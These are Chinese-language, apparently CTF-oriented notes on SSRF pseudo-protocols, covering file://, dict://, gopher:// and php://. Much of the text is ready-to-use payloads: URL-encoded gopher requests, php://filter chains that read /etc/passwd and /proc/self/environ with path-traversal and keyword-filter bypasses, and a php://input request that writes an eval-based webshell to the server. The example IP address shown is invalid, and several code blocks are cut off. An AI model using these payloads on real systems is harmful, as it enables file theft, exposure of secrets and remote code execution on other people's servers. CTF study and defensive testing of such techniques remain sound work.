SSRF伪协议

SSRF伪协议
FLYFISH伪协议
1 | file:// 查找内网存活主机IP;从文件系统中获取文件内容,格式为file://[文件路径] |
file://
作用:从文件系统中获取文件内容,格式为file://[文件路径]
1 | #读取文件passwd |
dict://
作用:字典服务协议,访问字典资源,格式为 dict://ip:(6739)/info:(TCP/IP数据)
获取网页信息
dict://ip:(端口)/info
http://
作用:常规URL形式,允许通过HTTP1.0的GET方法,以只读访问文件或资源,CTF常用于远程文件包含
要用common.txt?
gopher://
利用范围较广:GET提交、POST提交、redis、fastcgi、sql
(默认监听端口70)
gopher请求不转发第一个字符!!!要一个填充位
作用
GET提交
1 | 需要保留的头部信息 |
构造
格式:URL:gopher://<host>:<port>/<gopher-path>
注意添加端口号80和填充位_
URL编码 空格 %20 问号 %3f 换行符 %0d%0A
LIKE
gopher://172.114.514.4:80/_GET%20/name.php%3fname=FLYFISH%20HTTP/1.1%0d%0AHOST:%20172.114.514.4%0d%0A
方法2
通过BP提交url=gopher://172.114.514.4:80/_,用BP拦截了包之后在url=…/_之后粘贴GET /name.php?name=FLYFISH HTTP1.1 Host:172.114.514.1 并将粘贴的内容进行两次URL编码
POST提交
构造
1 | 需要保留头部信息 |
通过BP提交url=gopher://172.114.514.4:80/_,用BP拦截了包之后在url=…/_之后粘贴需要保留的头部信息,并将粘贴的内容进行两次URL编码
php://
1. php://filter:文件内容编码与转换
作用:对文件内容进行编码、压缩、转换后输出。
利用场景:
- 绕过内容显示限制:将文件内容以Base64、ROT13等编码形式输出,避免直接显示敏感明文。
- 过滤敏感字符:通过多层过滤器处理文件内容,绕过简单黑名单检测。
攻击示例:
1 | // 构造URL参数读取/etc/passwd并Base64编码 |
高级利用:
多过滤器链:组合多个过滤器(如压缩→编码→转换):
1
2// 读取文件→压缩→Base64编码→转大写
?url=php://filter/zlib.deflate|convert.base64-encode|string.toupper/resource=/etc/passwd绕过关键词过滤:若过滤
/etc/passwd,可通过路径遍历或编码绕过:1
2?url=php://filter/convert.base64-encode/resource=../../../../etc/passwd
?url=php://filter/convert.base64-encode/resource=/var/www/../etc/passwd
2. php://input:原始输入流与代码执行
作用:读取HTTP请求体(POST数据)的原始内容。
利用条件:
allow_url_include=On(默认关闭,PHP >= 5.2.0)。- 服务端代码包含
include()、file_get_contents()等函数直接处理用户输入。
攻击示例:
1 | // 攻击者发送POST请求: |
利用扩展:
写入Webshell:通过POST数据写入文件:
1
2
3POST /vuln.php?url=php://input HTTP/1.1
...
<?php file_put_contents('shell.php', '<?php eval($_POST["cmd"]); ?>'); ?>窃取环境变量:读取
/proc/self/environ(需路径访问权限):1
?url=php://filter/convert.base64-encode/resource=/proc/self/environ
3. php://fd:直接操作文件描述符
作用:通过文件描述符编号访问已打开的文件句柄。
利用场景:
- 攻击者预测或爆破文件描述符编号(如
3)。 - 结合其他漏洞(如文件泄露)获取有效描述符。
示例:
1 | // 假设服务端已打开描述符3指向/etc/passwd |

















